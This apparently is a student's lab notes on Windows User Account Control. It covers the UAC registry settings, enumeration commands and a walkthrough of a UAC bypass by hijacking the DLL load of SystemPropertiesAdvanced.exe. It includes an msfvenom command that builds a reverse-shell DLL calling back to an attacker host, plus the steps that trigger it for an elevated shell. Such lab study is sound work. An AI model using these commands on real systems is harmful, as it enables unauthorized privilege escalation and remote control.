# Intro - [User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a consent prompt for elevated activities - Apps have different `integrity` levels, and a program with a high level can perform tasks that could potentially compromise the system - When UAC is enabled, apps and tasks always run under the security context of a non-admin account unless an admin explicitly authorizes these apps/tasks to have admin-level access to the system to run - It's a convenient feature that protects admins from unintended changes but is not considered a security boundary - NOTE: This is difference between running a standard and an elevated powershell session - When UAC is enabled, a user can log into their system with their standard user account - When processes are launched using a standard user token, they can perform tasks using the rights granted to a standard user - Some apps require additional perms to run, and UAC can provide additional access rights to the token for them to run correctly - There are 10 Group Policy settings that can be set for UAC - The following table provides additional detail: |Group Policy Setting|Registry Key|Default Setting| |---|---|---| |[User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)|FilterAdministratorToken|Disabled| |[User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop)|EnableUIADesktopToggle|Disabled| |[User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)|ConsentPromptBehaviorAdmin|Prompt for consent for non-Windows binaries| |[User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)|ConsentPromptBehaviorUser|Prompt for credentials on the secure desktop| |[User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)|EnableInstallerDetection|Enabled (default for home) Disabled (default for enterprise)| |[User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)|ValidateAdminCodeSignatures|Disabled| |[User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)|EnableSecureUIAPaths|Enabled| |[User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)|EnableLUA|Enabled| |[User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)|PromptOnSecureDesktop|Enabled| |[User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)|EnableVirtualization|Enabled| # Enumerate Current User and UAC - Check current user ```cmd whoami /user ``` - Confirm membership in Administrators group ```cmd net localgroup administrators ``` - Review current user's privs ```cmd whoami /priv ``` - Confirm that UAC is enabled ```cmd REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA ``` - Check UAC level - NOTE: The value of `ConsentPromptBehaviorAdmin` is `0x5`, which means the highest UAC level of `Always notify` is enabled. ```cmd REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin ``` - Check Windows version ```powershell [environment]::OSVersion.Version ``` # UAC Bypass Example - The [UACME](https://github.com/hfiref0x/UACME) project maintains a list of UAC bypasses, including information on the affected Windows build number, the technique used, and if Microsoft has issued a security update to fix it - As an example based on the Windows version found above, let's use technique number 54, which is stated to work from Windows 10 build 14393 - This technique targets the 32-bit version of the auto-elevating binary `SystemPropertiesAdvanced.exe` - There are many trusted binaries that Windows will allow to auto-elevate without the need for a UAC consent prompt - The 32-bit version of `SystemPropertiesAdvanced.exe` attempts to load the non-existent DLL srrstr.dll, which is used by System Restore functionality. - When attempting to locate a DLL, Windows will use the following search order: 1. The directory from which the application loaded. 2. The system directory `C:\Windows\System32` for 64-bit systems. 3. The 16-bit system directory `C:\Windows\System` (not supported on 64-bit systems) 4. The Windows directory. 5. Any directories that are listed in the PATH environment variable. ## Review Path Variable - Let's examine the path variable using the command `cmd /c echo %PATH%` - This reveals the default folders below, where the `WindowsApps` folder is within the user's profile and writable by the user ```powershell cmd /c echo %PATH% C:\Windows\system32; C:\Windows; C:\Windows\System32\Wbem; C:\Windows\System32\WindowsPowerShell\v1.0\; C:\Users\sarah\AppData\Local\Microsoft\WindowsApps; ``` - We can potentially bypass UAC with DLL hijacking by placing a malicious `srrstr.dll` DLL to `WindowsApps` folder, which will be loaded in an elevated context ## Generate Malicious DLL & Move to Target - On Kali, wse `msfvenom` to generate the payload as `srrstr.dll` ```bash sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll -o srrstr.dll ``` - Now host the payload from Kali and `wget` from target ## Test Connection - If we execute the malicious `srrstr.dll` payload at this point, we will receive a revshell showing normal user rights (UAC enabled) - To test this, we can run the DLL using `rundll32.exe` to get a revshell ```cmd rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll ``` - When issuing `whoami /priv`, within our revshell we should see limited privs because of UAC ## Bypass UAC with `SystemPropertiesAdvanced.exe` - First, ensure that any instances of the `rundll32` process from our previous execution have been terminated ```cmd tasklist /svc | findstr "rundll32" taskkill /PID <number> /F taskkill /PID <number> /F ``` - Next, execute he 32-bit version of `SystemPropertiesAdvanced.exe` ```cmd C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe ``` - At this point we should get a revshell on Kali - When issuing `whoami /priv`, within our revshell we should a full set of privs because UAC was bypassed --- # Exercise - `ping` test ![[images/Pasted image 20260220201000.png]] - `nmap` scan ![[images/Pasted image 20260220201007.png]] - `rdp` into target with given creds - light internal enum - ONLY use a non-elevated shell ![[images/Pasted image 20260220201333.png]]![[images/Pasted image 20260220201347.png]] ![[images/Pasted image 20260220201425.png]] - Enumerate UAC ![[images/Pasted image 20260220201532.png]] - Review path var - We can place our malicious DLL payload in `C:\Users\sarah\AppData\Local\Microsoft\WindowsApps` ![[images/Pasted image 20260220201625.png]] - Create malicious DLL payload with `msfvenom` ![[images/Pasted image 20260220201817.png]] - Server from Kali and download into `C:\Users\sarah\AppData\Local\Microsoft\WindowsApps` - Confirmed that we have the payload on our target ![[images/Pasted image 20260220202022.png]] - Open listener on Kali and run `C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe` on target - We have a hit on our listener with full privs listed ![[images/Pasted image 20260220202443.png]] - We bypassed UAC!